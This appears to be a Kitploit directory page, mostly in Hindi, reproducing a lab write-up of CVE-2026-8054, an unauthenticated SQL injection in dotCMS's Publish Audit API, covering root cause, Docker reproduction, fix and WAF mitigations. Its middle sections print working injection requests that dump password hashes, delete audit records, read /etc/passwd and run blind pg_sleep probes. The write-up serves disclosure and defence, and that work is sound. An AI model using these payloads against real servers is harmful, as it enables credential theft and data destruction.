Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/mr-xn/cve-2026-8054
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubmr-xn/cve-2026-8054

CVE-2026-8054

dotCMS प्री-ऑथ SQL इंजेक्शन

रिपॉजिटरी देखें
23 महीने पहलेअभी तक समीक्षित नहीं
वेबसाइट

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

1. भेद्यता अवलोकन

CVE-2026-8054 dotCMS Core प्रकाशन ऑडिट API (Publish Audit API) में मौजूद एक उच्च जोखिम वाला प्री-ऑथ SQL इंजेक्शन (Pre-auth SQL Injection) है। इस भेद्यता को आधिकारिक तौर पर सुरक्षा घटना SI-75 के रूप में ट्रैक किया गया था और मई 2026 के अंत में औपचारिक रूप से प्रकट किया गया था। चूंकि हमलावर बिना किसी खाता अनुमति के दूरस्थ रूप से इसका शोषण कर सकता है, इसलिए इसका संभावित नुकसान बहुत गंभीर है।

गुणमान
CVE संख्याCVE-2026-8054
आधिकारिक ट्रैकिंगSI-75
भेद्यता प्रकारSQL इंजेक्शन (CWE-89)
प्रभावित घटकdotCMS Core - Publish Audit API
CVSS स्कोर10.0 (क्रिटिकल)
प्रभावित संस्करण25.11.04-1 से 26.04.28-02 तक
फिक्स संस्करण26.04.28-03
हमला विधिदूरस्थ अप्रमाणित SQL इंजेक्शन (Pre-auth)
आवश्यक अनुमतिकोई प्रमाणीकरण आवश्यक नहीं
उपयोगकर्ता सहभागिताकोई नहीं
LTS संस्करण प्रभावप्रभावित नहीं (ऑडिट कोड शाखा को LTS ट्री में बैकपोर्ट नहीं किया गया)

2. भेद्यता सिद्धांत का विस्तृत विवरण

2.1 भेद्यता का सार

यह भेद्यता /api/auditPublishing/get और /api/auditPublishing/getAll नामक दो REST इंटरफेस में मौजूद है। ये दो इंटरफ़ेस क्लाइंट इनपुट से अनुरोध पैरामीटर प्राप्त करते समय बिना किसी फ़िल्टरिंग या पैरामीटर बाइंडिंग के, सीधे स्ट्रिंग संयोजन के माध्यम से गतिशील रूप से SQL क्वेरी का निर्माण करते हैं।

इससे भी बुरी बात यह है कि dotCMS ने इन संवेदनशील बैकएंड इंटरफ़ेस पर प्रमाणीकरण और अनधिकृत पहुंच जांच को पूरी तरह से छोड़ दिया है। इसका मतलब है कि कोई भी दूरस्थ हमलावर जिसके पास कोई क्रेडेंशियल नहीं है, वह नेटवर्क के माध्यम से सिस्टम तक पहुंच सकता है और सीधे दुर्भावनापूर्ण पेलोड वाला HTTP अनुरोध इंटरफ़ेस पर भेज सकता है।

2.2 भेद्यता प्रवेश बिंदु

फ़ाइल पथ: dotCMS/src/main/java/com/dotcms/rest/AuditPublishingResource.java

यह भेद्यता दो REST API एंडपॉइंट पर मौजूद है:

  • GET /api/auditPublishing/get/{bundleId} - एकल प्रकाशन ऑडिट स्थिति प्राप्त करें
  • POST /api/auditPublishing/getAll - बैच में प्रकाशन ऑडिट स्थितियाँ प्राप्त करें

मुख्य समस्या: फिक्स से पहले इन दो एंडपॉइंट को किसी प्रमाणीकरण की आवश्यकता नहीं थी, कोई भी अनाम उपयोगकर्ता सीधे उन तक पहुँच सकता था।

root@kitploit:~
@Path("/auditPublishing")
@Tag(name = "Publishing")
public class AuditPublishingResource {

    @POST
    @Path("/getAll")
    @Produces(MediaType.APPLICATION_JSON)
    public Response getAll(List<String> bundleIds) {
        // 【भेद्यता बिंदु】कोई प्रमाणीकरण जांच नहीं! सीधे बैकएंड API को कॉल करें
        try {
            final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);
            // ...
        }
    }
}

2.3 भेद्यता कोर कोड

फ़ाइल पथ: dotCMS/src/main/java/com/dotcms/publisher/business/PublishAuditAPIImpl.java

विधि: getPublishAuditStatuses(List<String> bundleIds) (पंक्ति 224-245)

root@kitploit:~
@CloseDBIfOpened
public List<PublishAuditStatus> getPublishAuditStatuses(List<String> bundleIds)
        throws DotPublisherException {
    try {
        final List<PublishAuditStatus> result = new ArrayList<>();

        DotConnect dc = new DotConnect();

        // 【भेद्यता बिंदु 1】सीधे उपयोगकर्ता इनपुट को SQL स्टेटमेंट में जोड़ें
        // बस एक उद्धरण जोड़ें, कोई पैरामीटरीकरण या एस्केपिंग नहीं
        final List<String> parameter = bundleIds.stream()
            .map(id -> "'" + id + "'")  // खतरनाक: स्ट्रिंग संयोजन
            .collect(Collectors.toList());

        // 【भेद्यता बिंदु 2】String.format का उपयोग करके SQL निर्माण, उपयोगकर्ता इनपुट सीधे एम्बेडेड
        dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS,
            String.join(",", parameter)));

        List<Map<String, Object>> items = dc.loadObjectResults();

        for(Map<String, Object> item: items) {
            result.add(turnIntoPublishAuditStatus(NO_LIMIT_ASSETS, item));
        }

        return result;
    } catch(Exception e) {
        Logger.debug(PublisherUtil.class, e.getMessage(), e);
        throw new DotPublisherException("Unable to get list of elements with error:" + e.getMessage(), e);
    }
}

SQL स्थिरांक (SELECT_ALL_BY_BUNDLES_IDS):

root@kitploit:~
SELECT * FROM publishing_queue_audit WHERE bundle_id IN (%s)

2.4 टेंट प्रसार पथ

root@kitploit:~
graph LR
    subgraph 外部攻击者
        A[远程攻击者] -->|发送恶意payload| B[HTTP REST API]
    end

    subgraph Application Layer
        B -->|POST /api/auditPublishing/getAll| C[AuditPublishingResource<br/>GET/POST]
        C -->|调用| D[PublishAuditAPI]
        D -->|调用| E[PublishAuditAPIImpl]
        E -->|传递bundleIds| F[污点处理<br/>bundleIds.stream<br/>.map id -> id]
        F -->|拼接参数| G[SQL构造<br/>String.format]
    end

    subgraph Technology Layer
        G -->|构造SQL| H[动态SQL查询<br/>SELECT * FROM publishing_queue_audit<br/>WHERE bundle_id IN %s]
        H -->|执行| I[SQL执行]
        I -->|执行注入SQL| J[PostgreSQL/MySQL]
    end

    subgraph 漏洞点
        K[漏洞点1<br/>无认证检查] -.->|跳过认证| C
        L[漏洞点2<br/>无参数化绑定] -.->|仅添加引号| F
    end

    style A fill:#ff6b6b,stroke:#333,color:#fff
    style K fill:#ff6b6b,stroke:#333,color:#fff
    style L fill:#ff6b6b,stroke:#333,color:#fff
    style J fill:#ffa94d,stroke:#333

टेंट प्रसार: उपयोगकर्ता इनपुट → REST API → बैकएंड प्रोसेसिंग → SQL निर्माण → डेटाबेस निष्पादन मुख्य दोष: कोई प्रमाणीकरण नहीं + कोई पैरामीटरीकरण नहीं = पूरी तरह से नियंत्रणीय SQL इंजेक्शन

2.5 SQL इंजेक्शन सिद्धांत विश्लेषण

मान लीजिए उपयोगकर्ता इनपुट bundleIds = ["x' OR '1'='1"]

सामान्य SQL:

root@kitploit:~
SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('normal-id')

इंजेक्टेड SQL:

root@kitploit:~
SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('x' OR '1'='1')

चूंकि '1'='1' हमेशा सत्य होता है, यह क्वेरी तालिका में सभी रिकॉर्ड लौटाएगी।

root@kitploit:~
graph TD
    subgraph 输入对比
        A[正常输入<br/>bundle-123] -->|构造| B[正常SQL<br/>WHERE bundle_id IN<br/>'bundle-123']
        C[恶意输入<br/>x OR 1=1] -->|注入| D[注入SQL<br/>WHERE bundle_id IN<br/>x OR 1=1]
    end

    subgraph 数据库执行
        B -->|执行| E[数据库]
        D -->|执行| E
    end

    subgraph 结果对比
        E -->|返回| F[正常结果<br/>1条记录]
        E -->|返回 数据泄露| G[泄露结果<br/>所有记录]
    end

    style C fill:#ff6b6b,stroke:#333,color:#fff
    style G fill:#ff6b6b,stroke:#333,color:#fff
    style D fill:#ff6b6b,stroke:#333,color:#fff

    note1[注入点: 单引号闭合原有字符串<br/>OR 1=1 使条件永远为真<br/>结果: 返回所有记录]

3. प्रभाव और नुकसान विश्लेषण

इस भेद्यता का सफलतापूर्वक शोषण करने वाला हमलावर डेटाबेस सिस्टम उपयोगकर्ता के संदर्भ में मनमाना SQL कमांड निष्पादित कर सकता है, जिसके परिणामस्वरूप निम्नलिखित गंभीर परिणाम हो सकते हैं:

root@kitploit:~
graph TD
    subgraph 攻击影响分析
        subgraph 数据机密性
            A[管理员密码哈希]
            B[用户凭证]
            C[重置Token]
            D[系统配置]
        end

        subgraph 数据完整性
            E[网站内容]
            F[用户角色权限]
            G[审计日志]
        end

        subgraph 系统可用性
            H[DROP TABLE]
            I[DELETE数据]
            J[UPDATE数据]
        end

        subgraph 权限提升
            K[管理员接管]
            L[文件系统读写]
            M[远程代码执行]
        end
    end

    N[SQL注入漏洞] -->|泄露| A
    N -->|泄露| B
    N -->|泄露| C
    N -->|篡改| E
    N -->|篡改| F
    N -->|执行| H
    N -->|实现| K
    N -->|实现| L

    O[CVSS 10.0 Critical] -.->|评估| N

    style N fill:#ff6b6b,stroke:#333,color:#fff
    style O fill:#ff6b6b,stroke:#333,color:#fff

3.1 संवेदनशील डेटा लीक

हमलावर SQL इंजेक्शन के माध्यम से कोर डेटाबेस तालिकाओं को डंप कर सकता है और प्राप्त कर सकता है:

  • व्यवस्थापक पासवर्ड हैश
  • उपयोगकर्ता क्रेडेंशियल जानकारी
  • रीसेट टोकन
  • सिस्टम कॉन्फ़िगरेशन जानकारी
  • वेबसाइट सामग्री डेटा

उदाहरण हमला पेलोड - व्यवस्थापक पासवर्ड प्राप्त करें:

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x' UNION SELECT user_id,password_hash,email,null,null FROM dotcms_user--"]

3.2 डेटा छेड़छाड़ और विनाश

हमलावर डेटाबेस में किसी भी डेटा को मनमाने ढंग से संशोधित, सम्मिलित या हटा सकता है:

  • वेबसाइट सामग्री
  • उपयोगकर्ता भूमिका अनुमतियाँ
  • सिस्टम कॉन्फ़िगरेशन
  • ऑडिट लॉग

उदाहरण हमला पेलोड - ऑडिट रिकॉर्ड हटाएं:

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x'; DELETE FROM publishing_queue_audit; --"]

3.3 विशेषाधिकार वृद्धि और दूरस्थ कोड निष्पादन

बैकएंड से जुड़े डेटाबेस प्रकार (PostgreSQL, MySQL आदि) और कॉन्फ़िगरेशन अनुमतियों के आधार पर, हमलावर इंजेक्शन बिंदु के माध्यम से आगे प्राप्त कर सकता है:

  • बैकएंड व्यवस्थापक खाता अधिग्रहण
  • फ़ाइल सिस्टम पढ़ना/लिखना (डेटाबेस फ़ंक्शन के माध्यम से)
  • दूरस्थ कोड निष्पादन (RCE)

उदाहरण हमला पेलोड - PostgreSQL फ़ाइल पढ़ना:

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x' UNION SELECT null,pg_read_file('/etc/passwd'),null,null,null--"]

3.4 हमला सतह विश्लेषण

आयाममूल्यांकन
हमला वेक्टरनेटवर्क रिमोट
हमला जटिलताकम
पूर्व शर्तकोई नहीं
उपयोगकर्ता सहभागिताकोई नहीं
प्रभाव का दायराबदल गया
गोपनीयता पर प्रभावउच्च
अखंडता पर प्रभावउच्च
उपलब्धता पर प्रभावउच्च

4. भेद्यता प्रतिकृति चरण

4.1 पर्यावरण सेटअप

root@kitploit:~
graph TB
    subgraph Docker环境架构
        subgraph docker-compose
            A[dotcms-vuln<br/>dotcms:25.11.04-1]
            B[dotcms-db<br/>postgres:15]
            C[dotcms-es<br/>elasticsearch:7.17]
        end

        D[dotcms-net<br/>bridge网络]

        E[HTTP :8080]
        F[HTTPS :8443]
        G[PostgreSQL :5432]
        H[Elasticsearch :9200]
    end

    A -->|暴露| E
    A -->|暴露| F
    B -->|暴露| G
    C -->|暴露| H

    A -->|连接数据库| B
    A -->|连接搜索引擎| C

    D --- A
    D --- B
    D --- C

    style A fill:#51cf66,stroke:#333
    style B fill:#51cf66,stroke:#333
    style C fill:#51cf66,stroke:#333

    note1[漏洞版本: 25.11.04-1<br/>初始密码: admin<br/>端口: 8080, 8443]

Docker Compose का उपयोग करके भेद्यता पर्यावरण सेट करें:

docker-compose.yml:

root@kitploit:~
services:
  dotcms:
    build: .
    container_name: dotcms-vuln
    ports:
      - "8080:8080"
      - "8443:8443"
    environment:
      - DOT_INITIAL_ADMIN_PASSWORD=admin
      - DOT_DOTCMS_URL=http://localhost:8080
      - DOT_DB_HOST=dotcms-db
      - DOT_DB_PORT=5432
      - DOT_DB_NAME=dotcms
      - DOT_DB_USERNAME=dotcms
      - DOT_DB_PASSWORD=dotcms
      - DOT_DB_BASE_URL=jdbc:postgresql://dotcms-db:5432/dotcms
      - DOT_DB_DRIVER=org.postgresql.Driver
      - DOT_ES_ENDPOINTS=http://dotcms-es:9200
      - DOT_ES_HOSTNAME=dotcms-es
    depends_on:
      dotcms-db:
        condition: service_healthy
      dotcms-es:
        condition: service_started

  dotcms-db:
    image: postgres:15
    environment:
      - POSTGRES_DB=dotcms
      - POSTGRES_USER=dotcms
      - POSTGRES_PASSWORD=dotcms
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U dotcms"]
      interval: 5s
      timeout: 5s
      retries: 20

  dotcms-es:
    image: elasticsearch:7.17.24
    environment:
      - discovery.type=single-node
      - xpack.security.enabled=false
      - "ES_JAVA_OPTS=-Xms512m -Xmx512m"

Dockerfile:

root@kitploit:~
FROM dotcms/dotcms:25.11.04-1

प्रारंभ कमांड:

root@kitploit:~
docker compose up -d
# dotCMS इनिशियलाइज़ेशन पूरा होने तक प्रतीक्षा करें (लगभग 2-3 मिनट)
# स्थिति जांचें: docker compose logs -f dotcms

4.2 भेद्यता सत्यापन

परीक्षण 1: पुष्टि करें कि एंडपॉइंट को प्रमाणीकरण की आवश्यकता नहीं है

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
Content-Length: 11

["test-id"]

प्रतिक्रिया: 200 OK, रिक्त सरणी [] लौटाता है, यह साबित करता है कि एंडपॉइंट प्रमाणीकरण के बिना पहुँचा जा सकता है।

परीक्षण 2: SQL इंजेक्शन - बूलियन ब्लाइंड ✅ सत्यापित

बूलियन ब्लाइंड इंजेक्शन सिद्धांत: HTTP प्रतिक्रिया स्थिति कोड में अंतर का अवलोकन करके इंजेक्शन स्थिति की सत्यता या असत्यता का निर्धारण करना।

root@kitploit:~
graph TD
    subgraph 布尔盲注流程
        A["发送请求"] -->|发送payload| B["/api/auditPublishing/getAll"]

        B -->|真条件| C["真条件 and 1=1"]
        B -->|假条件| D["假条件 and 1=2"]

        C -->|返回数据| E["404 Not Found 有数据 NPE"]
        D -->|不返回数据| F["200 OK + 空数组 无数据正常"]

        E -->|分析| G["分析响应"]
        F -->|分析| G

        G -->|推断条件真假| H["结论推断"]
    end

    style C fill:#51cf66,stroke:#333
    style D fill:#ff6b6b,stroke:#333,color:#fff
    style E fill:#ff6b6b,stroke:#333,color:#fff
    style F fill:#51cf66,stroke:#333

    note1["Payload: real-bundle-1 and 1=1 响应: 404 NPE异常 结论: 条件为真"]
    note2["Payload: real-bundle-1 and 1=2 响应: 200 + 空数组 结论: 条件为假"]

सत्य स्थिति परीक्षण (and 1=1):

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["real-bundle-1') and 1=1--'"]

प्रतिक्रिया: 404 Not Found

असत्य स्थिति परीक्षण (and 1=2):

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["real-bundle-1') and 1=2--'"]

प्रतिक्रिया: 200 OK, [] लौटाता है

SQL निष्पादन विश्लेषण:

root@kitploit:~
-- सत्य स्थिति: bundle_id मिलान करता है और 1=1 सत्य है -> डेटा लौटाता है -> कोड NPE संभालता है -> 404
select * from publishing_queue_audit where bundle_id in ('real-bundle-1') and 1=1--'')

-- असत्य स्थिति: bundle_id मिलान करता है लेकिन 1=2 असत्य है -> कोई डेटा नहीं लौटाता -> रिक्त परिणाम सामान्य रूप से संभाला जाता है -> 200
select * from publishing_queue_audit where bundle_id in ('real-bundle-1') and 1=2--'')

प्रतिक्रिया अंतर सिद्धांत:

स्थितिSQL परिणामकोड व्यवहारHTTP प्रतिक्रिया
and 1=1 (सत्य)मिलान रिकॉर्ड लौटाता हैturnIntoPublishAuditStatus() डेटा संसाधित करते समय NullPointerException404
and 1=2 (असत्य)कोई रिकॉर्ड नहीं लौटातारिक्त सूची सामान्य रूप से लौटाई जाती है200 + []

निष्कर्ष: 404/200 प्रतिक्रिया अंतर के माध्यम से, हमलावर डेटाबेस में किसी भी जानकारी (तालिका नाम, फ़ील्ड मान, पासवर्ड हैश आदि) का बिट-दर-बिट अनुमान लगा सकता है।

परीक्षण 3: SQL इंजेक्शन - टाइम-बेस्ड ब्लाइंड ✅ सत्यापित

टाइम-बेस्ड ब्लाइंड इंजेक्शन सिद्धांत: प्रतिक्रिया समय में अंतर का अवलोकन करके इंजेक्शन स्थिति की सत्यता या असत्यता का निर्धारण करना।

root@kitploit:~
graph TD
    subgraph 时间盲注流程
        A["发送请求"] -->|发送payload| B["/api/auditPublishing/getAll"]
        B -->|传递| C["延时Payload SELECT pg_sleep N"]

        C -->|执行SQL| D["PostgreSQL"]
        D -->|调用| E["pg_sleep N 延时执行"]

        E -->|延时N秒| F["测量响应时间"]
        F -->|对比基线| G["分析延时差异"]
        G -->|推断条件真假| H["结论推断"]
    end

    style C fill:#51cf66,stroke:#333
    style E fill:#51cf66,stroke:#333

    note1["Payload: x and SELECT pg_sleep 3 text=t 正常响应: 0.03秒 延时响应: 3.02秒 结论: pg_sleep执行成功"]

3 सेकंड विलंब परीक्षण:

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["x') and (SELECT pg_sleep(3))::text='t'--'"]

प्रतिक्रिया: 200 OK, 3.02 सेकंड लगे

5 सेकंड विलंब परीक्षण:

root@kitploit:~
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json

["x') and (SELECT pg_sleep(5))::text='t'--'"]

प्रतिक्रिया: 200 OK, 5.01 सेकंड लगे

SQL निष्पादन विश्लेषण:

root@kitploit:~
select * from publishing_queue_audit where bundle_id in ('x') and (SELECT pg_sleep(3))::text='t'--'')

प्रतिक्रिया समय तुलना:

पेलोडअपेक्षित विलंबवास्तविक समयपरिणाम
सामान्य अनुरोध0 सेकंड0.03 सेकंड✅
pg_sleep(3)3 सेकंड3.02 सेकंड✅ विलंब सफल
pg_sleep(5)5 सेकंड5.01 सेकंड✅ विलंब सफल

निष्कर्ष: प्रतिक्रिया विलंब को नियंत्रित करके, हमलावर बिना प्रतिक्रिया दृश्य परिदृश्य में बिट-दर-बिट डेटाबेस जानकारी का अनुमान लगा सकता है।


5. फिक्स योजना विश्लेषण

5.1 PR #35553 फिक्स सामग्री

root@kitploit:~
graph TD
    subgraph 修复方案
        subgraph 代码修复
            A[参数化查询<br/>使用占位符]
            B[认证增强<br/>Push Publish Token]
            C[输入验证<br/>null/空检查]
        end

        subgraph 修复效果
            D[防止SQL注入]
            E[限制未授权访问]
            F[防止空指针异常]
        end

        G[PR #35553]
        H[修复版本<br/>26.04.28-03]
    end

    G -->|实现| A
    G -->|实现| B
    G -->|实现| C

    A -->|参数绑定| D
    B -->|强制认证| E
    C -->|空值处理| F

    H -->|包含| G

    style G fill:#51cf66,stroke:#333
    style H fill:#51cf66,stroke:#333

    note1[修复前: String.format拼接<br/>修复后: dc.addParam参数绑定]

फिक्स 1: पैरामीटरयुक्त क्वेरी

फिक्स से पहले (भेद्य कोड):

root@kitploit:~
final List<String> parameter = bundleIds.stream()
    .map(id -> "'" + id + "'")
    .collect(Collectors.toList());
dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS, String.join(",", parameter)));

फिक्स के बाद (सुरक्षित कोड):

root@kitploit:~
// जोड़ा गया: शून्य मान जांच
if (bundleIds == null || bundleIds.isEmpty()) {
    return Collections.emptyList();
}

// पैरामीटरयुक्त क्वेरी प्लेसहोल्डर का उपयोग करें
final String placeholders = bundleIds.stream()
    .map(id -> "?")
    .collect(Collectors.joining(","));

dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS, placeholders));
bundleIds.forEach(dc::addParam);  // पैरामीटर बाइंडिंग, SQL इंजेक्शन रोकता है

फिक्स 2: प्रमाणीकरण वृद्धि

फिक्स से पहले:

root@kitploit:~
public Response getAll(List<String> bundleIds) {
    // कोई प्रमाणीकरण जांच नहीं
    try {
        final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);

फिक्स के बाद:

root@kitploit:~
public Response getAll(final List<String> bundleIds,
                       @Context final HttpServletRequest request) {

    // जोड़ा गया: Push Publish Token प्रमाणीकरण जांच
    final AuthCredentialPushPublishUtil.PushPublishAuthenticationToken ppAuthToken =
            AuthCredentialPushPublishUtil.INSTANCE.processAuthHeader(request);

    final Optional<Response> failResponse = PushPublishResourceUtil.getFailResponse(request, ppAuthToken);

    if (failResponse.isPresent()) {
        return failResponse.get();  // 401 Unauthorized लौटाता है
    }
    // ...
}

5.2 फिक्स सिद्धांत

फिक्स उपायस्पष्टीकरण
पैरामीटरयुक्त क्वेरीस्ट्रिंग संयोजन के बजाय ? प्लेसहोल्डर का उपयोग करें, डेटाबेस स्वचालित रूप से पैरामीटर एस्केपिंग को संभालेगा, मूल रूप से SQL इंजेक्शन को रोकता है
प्रमाणीकरण वृद्धिअनुरोध को एक वैध Push Publish Token ले जाने की आवश्यकता होती है, केवल publishing-queue घटक अनुमति वाले लॉग इन बैकएंड उपयोगकर्ताओं तक पहुंच सीमित करता है
इनपुट सत्यापनशून्य और रिक्त सूची जांच जोड़ी गई, शून्य पॉइंटर अपवाद को रोकता है

5.3 प्रभावित संस्करण स्पष्टीकरण

  • प्रभावित संस्करण: dotCMS Core 25.11.04-1 से 26.04.28-02 तक के सभी तीव्र विकास/तेज़ पुनरावृत्ति संस्करण
  • अप्रभावित संस्करण: LTS (दीर्घकालिक समर्थन) संस्करण प्रभावित नहीं हैं, क्योंकि प्रभावित ऑडिट कोड शाखा को कभी भी LTS ट्री में बैकपोर्ट नहीं किया गया था

6. अस्थायी शमन और सुरक्षा सुझाव

यदि फिक्स संस्करण में तुरंत अपग्रेड नहीं किया जा सकता है, तो निम्नलिखित अस्थायी शमन उपाय किए जा सकते हैं:

root@kitploit:~
graph TD
    subgraph 防护措施
        subgraph 网络层
            A[WAF规则拦截<br/>阻止/api/auditPublishing/]
            B[防火墙限制<br/>仅允许内网访问]
        end

        subgraph 应用层
            C[Nginx防护规则<br/>location拦截]
            D[ModSecurity规则<br/>SQL注入检测]
        end

        subgraph 数据层
            E[数据库权限限制<br/>最小权限原则]
            F[限制高危函数<br/>pg_read_file等]
        end

        G[升级到26.04.28-03<br/>根本解决方案]
    end

    A -.->|临时替代| G
    B -.->|临时替代| G
    C -.->|临时替代| G
    E -.->|降低影响| G

    style G fill:#51cf66,stroke:#333
    style A fill:#ffd43b,stroke:#333
    style B fill:#ffd43b,stroke:#333
    style C fill:#ffd43b,stroke:#333
    style D fill:#ffd43b,stroke:#333

    note1[优先级: P0 - 立即升级<br/>其他措施为临时缓解方案]

6.1 WAF नियम अवरोध

वेब एप्लिकेशन फ़ायरवॉल (WAF) या रिवर्स प्रॉक्सी पर एक्सेस कंट्रोल नीतियां कॉन्फ़िगर करें, बाहरी नेटवर्क से /api/auditPublishing/get और /api/auditPublishing/getAll पथों के अनुरोधों को सीधे अवरुद्ध या अस्वीकार करें।

Nginx सुरक्षा नियम कॉन्फ़िगरेशन उदाहरण

root@kitploit:~
# /etc/nginx/conf.d/dotcms-security.conf

# Publish Audit API अनुरोधों को अवरुद्ध करें
location ~ ^/api/auditPublishing/(get|getAll) {
    # 403 निषिद्ध लौटाएं
    return 403 "निषिद्ध: सुरक्षा कारणों से एंडपॉइंट अवरुद्ध";
    add_header Content-Type text/plain;
}

# या अधिक ढीला तरीका, केवल आंतरिक नेटवर्क पहुंच की अनुमति दें
location ~ ^/api/auditPublishing/(get|getAll) {
    # आंतरिक नेटवर्क IP श्रेणी की अनुमति दें
    allow 10.0.0.0/8;
    allow 172.16.0.0/12;
    allow 192.168.0.0/16;
    # अन्य सभी स्रोतों को अस्वीकार करें
    deny all;
}

# SQL इंजेक्शन विशेषताओं के लिए WAF नियम
location / {
    # सामान्य SQL इंजेक्शन विशेषताओं का पता लगाएं
    if ($request_uri ~* "(union|select|insert|update|delete|drop|--)") {
        return 403;
    }

    # एकल उद्धरण इंजेक्शन का पता लगाएं
    if ($request_uri ~* "'") {
        return 403;
    }

    proxy_pass http://dotcms_backend;
}

ModSecurity WAF नियम उदाहरण

root@kitploit:~
# /etc/modsecurity/rules/dotcms-cve-2026-8054.conf

# नियम 1: भेद्यता एंडपॉइंट तक पहुंच को अवरुद्ध करें
SecRule REQUEST_URI "@rx /api/auditPublishing/(get|getAll)" \
    "id:2026805401,phase:1,deny,status:403,msg:'CVE-2026-8054: dotCMS भेद्य एंडपॉइंट तक पहुंच अवरुद्ध'"

# नियम 2: SQL इंजेक्शन विशेषताओं का पता लगाएं
SecRule REQUEST_BODY "@rx (?i:(union|select|insert|update|delete|drop|exec|--)".*?(from|into|table))" \
    "id:2026805402,phase:2,deny,status:403,msg:'CVE-2026-8054: SQL इंजेक्शन प्रयास का पता चला'"

6.2 डेटाबेस अनुमतियाँ सीमित करें

सुनिश्चित करें कि dotCMS को डेटाबेस से जोड़ने वाले खाते न्यूनतम विशेषाधिकार सिद्धांत का पालन करते हैं:

root@kitploit:~
-- PostgreSQL अनुमति सीमा उदाहरण
-- सीमित उपयोगकर्ता बनाएं
CREATE USER dotcms_restricted WITH PASSWORD 'secure_password';

-- केवल आवश्यक तालिका अनुमतियाँ प्रदान करें
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO dotcms_restricted;

-- तालिका बनाना/हटाना प्रतिबंधित करें
REVOKE CREATE ON SCHEMA public FROM dotcms_restricted;

-- सिस्टम कमांड निष्पादित करना प्रतिबंधित करें
REVOKE ALL ON FUNCTION pg_exec FROM dotcms_restricted;

-- फ़ाइल पढ़ना प्रतिबंधित करें
REVOKE ALL ON FUNCTION pg_read_file FROM dotcms_restricted;

6.3 नेटवर्क लेयर सुरक्षा

root@kitploit:~
# API पोर्ट तक पहुंच को सीमित करने के लिए iptables का उपयोग करें
# केवल आंतरिक नेटवर्क को पोर्ट 8080 तक पहुंच की अनुमति दें
iptables -A INPUT -p tcp --dport 8080 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -s 172.16.0.0/12 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -s 192.168.0.0/16 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -j DROP

7. सारांश

root@kitploit:~
graph TD
    subgraph 漏洞总结
        subgraph 根因分析
            A[缺乏输入验证<br/>用户输入直接拼接SQL]
            B[缺乏认证<br/>API无需认证即可访问]
            C[缺乏参数化<br/>字符串拼接而非参数查询]
        end

        subgraph CVSS评估
            D[CVSS 10.0<br/>Critical]
            E[网络远程]
            F[低复杂度]
            G[无需认证]
        end

        subgraph 修复建议
            H[P0: 立即升级<br/>26.04.28-03]
            I[P1: WAF拦截<br/>临时缓解]
            J[P2: 数据库权限<br/>降低影响]
        end
    end

    A -->|导致| D
    B -->|导致| D
    C -->|导致| D

    H -->|解决| A
    H -->|解决| B
    H -->|解决| C

    I -.->|临时替代| H
    J -.->|降低风险| H

    style D fill:#ff6b6b,stroke:#333,color:#fff
    style H fill:#51cf66,stroke:#333

    note1[攻击向量: Network<br/>攻击复杂度: Low<br/>权限要求: None<br/>用户交互: None]

7.1 भेद्यता का मूल कारण

  1. इनपुट सत्यापन की कमी: उपयोगकर्ता इनपुट सीधे SQL स्टेटमेंट में जोड़ा गया, बिना किसी फ़िल्टरिंग या एस्केपिंग के
  2. प्रमाणीकरण की कमी: API एंडपॉइंट बिना किसी प्रमाणीकरण के पहुँचा जा सकता है, संवेदनशील बैकएंड कार्यक्षमता को उजागर करता है
  3. पैरामीटरीकरण की कमी: पैरामीटरयुक्त क्वेरी के बजाय स्ट्रिंग संयोजन का उपयोग, सुरक्षित कोडिंग सर्वोत्तम प्रथाओं का उल्लंघन करता है

7.2 हमला सतह मूल्यांकन

  • हमला वेक्टर: नेटवर्क रिमोट
  • हमला जटिलता: कम
  • पूर्व शर्त: कोई नहीं
  • उपयोगकर्ता सहभागिता: कोई नहीं
  • CVSS स्कोर: 10.0 (क्रिटिकल)

7.3 फिक्स सुझाव प्राथमिकता

प्राथमिकताउपायस्पष्टीकरण
P0 - तुरंतdotCMS 26.04.28-03 या उच्चतर में अपग्रेड करेंआधिकारिक फिक्स संस्करण, समस्या को मूल रूप से हल करता है
